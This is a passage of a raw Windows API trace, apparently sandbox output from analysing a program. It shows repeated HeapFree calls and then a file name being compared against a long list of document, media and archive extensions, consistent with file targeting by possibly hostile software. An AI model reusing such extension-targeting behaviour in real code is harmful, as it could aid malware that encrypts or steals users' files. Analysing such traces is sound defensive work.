hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0280.729] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0280.731] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0280.731] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0280.733] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0280.733] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0280.797] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0280.797] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0280.802] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0280.842] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0280.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0280.851] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0280.854] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0280.874] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0280.877] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0280.883] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0280.902] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.101] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.259] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.262] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.266] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.269] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.273] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.276] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.473] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.477] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.482] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.487] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.514] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.520] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.524] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.534] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.536] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.541] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.549] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.551] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.563] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.568] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.574] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.977] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0281.982] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0282.029] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0282.031] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0282.033] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0282.035] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0282.037] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0282.040] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0282.041] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0282.046] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0282.051] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0282.069] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0282.074] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0282.082] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0282.095] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0282.623] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0282.625] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0282.628] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0282.630] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0282.633] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0282.635] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0282.640] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0282.643] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0282.645] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0283.098] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0283.102] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0283.105] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0283.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0283.111] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0283.114] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0283.142] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0283.159] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0283.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0283.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0283.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0283.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0283.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0283.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0283.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0283.566] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0283.568] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0283.568] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0284.157] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0284.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0284.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0284.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0284.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0284.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0284.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0284.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0284.168] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0284.168] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0284.168] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0284.169] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0284.169] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.169] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0284.170] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.170] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0284.170] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0284.173] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0284.174] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0284.174] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0284.174] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.175] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0284.175] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0284.177] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0284.177] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0284.177] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0284.177] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0284.178] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.178] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.178] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0284.180] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0284.180] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0284.180] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0284.181] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0284.181] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0284.181] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0284.182] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0284.183] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0284.183] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0284.183] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0284.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0284.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0284.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0284.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0284.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0284.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0284.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0284.190] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0284.191] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0284.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0284.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.493] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0284.494] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0284.494] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.519] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0284.520] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0284.520] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0284.520] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0284.520] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0284.537] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0284.539] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0284.576] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0284.577] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0284.629] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0284.782] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0284.835] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.835] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.835] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0284.838] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.840] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0284.843] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0284.843] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0284.844] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.845] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0284.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0284.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0284.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0284.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0284.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0284.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0284.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0284.850] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0284.853] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0284.853] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.854] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0284.855] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.856] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.856] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0284.856] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.857] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0284.857] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.858] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.859] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0284.859] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.861] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0284.861] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.865] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.865] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0284.867] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0284.867] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.867] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0284.947] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.947] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0284.947] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0284.948] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0285.225] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0285.225] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0285.227] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0285.227] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0285.230] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0285.230] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0285.230] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0285.230] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0285.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4651f60 | out: hHeap=0x640000) returned 1 [0285.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4651f60 | out: hHeap=0x640000) returned 1 [0285.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0285.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0285.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4661f68 | out: hHeap=0x640000) returned 1 [0285.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4661f68 | out: hHeap=0x640000) returned 1 [0285.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4651f60 | out: hHeap=0x640000) returned 1 [0285.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0285.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0285.265] lstrlenW (lpString="aic_file_icons.png") returned 18 [0285.265] lstrlenW (lpString=".1cd") returned 4 [0285.265] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0285.265] lstrlenW (lpString=".3ds") returned 4 [0285.265] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0285.265] lstrlenW (lpString=".3fr") returned 4 [0285.265] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0285.265] lstrlenW (lpString=".3g2") returned 4 [0285.265] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0285.265] lstrlenW (lpString=".3gp") returned 4 [0285.265] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0285.266] lstrlenW (lpString=".7z") returned 3 [0285.266] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0285.266] lstrlenW (lpString=".accda") returned 6 [0285.266] lstrcmpiW (lpString1=".accda", lpString2="ns.png") returned -1 [0285.266] lstrlenW (lpString=".accdb") returned 6 [0285.266] lstrcmpiW (lpString1=".accdb", lpString2="ns.png") returned -1 [0285.266] lstrlenW (lpString=".accdc") returned 6 [0285.266] lstrcmpiW (lpString1=".accdc", lpString2="ns.png") returned -1 [0285.266] lstrlenW (lpString=".accde") returned 6 [0285.266] lstrcmpiW (lpString1=".accde", lpString2="ns.png") returned -1 [0285.266] lstrlenW (lpString=".accdt") returned 6 [0285.266] lstrcmpiW (lpString1=".accdt", lpString2="ns.png") returned -1 [0285.266] lstrlenW (lpString=".accdw") returned 6 [0285.266] lstrcmpiW (lpString1=".accdw", lpString2="ns.png") returned -1 [0285.266] lstrlenW (lpString=".adb") returned 4 [0285.266] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0285.266] lstrlenW (lpString=".adp") returned 4 [0285.266] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0285.266] lstrlenW (lpString=".ai") returned 3 [0285.266] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0285.266] lstrlenW (lpString=".ai3") returned 4 [0285.266] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0285.266] lstrlenW (lpString=".ai4") returned 4 [0285.266] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0285.266] lstrlenW (lpString=".ai5") returned 4 [0285.266] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0285.266] lstrlenW (lpString=".ai6") returned 4 [0285.267] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0285.267] lstrlenW (lpString=".ai7") returned 4 [0285.267] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0285.267] lstrlenW (lpString=".ai8") returned 4 [0285.267] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0285.267] lstrlenW (lpString=".anim") 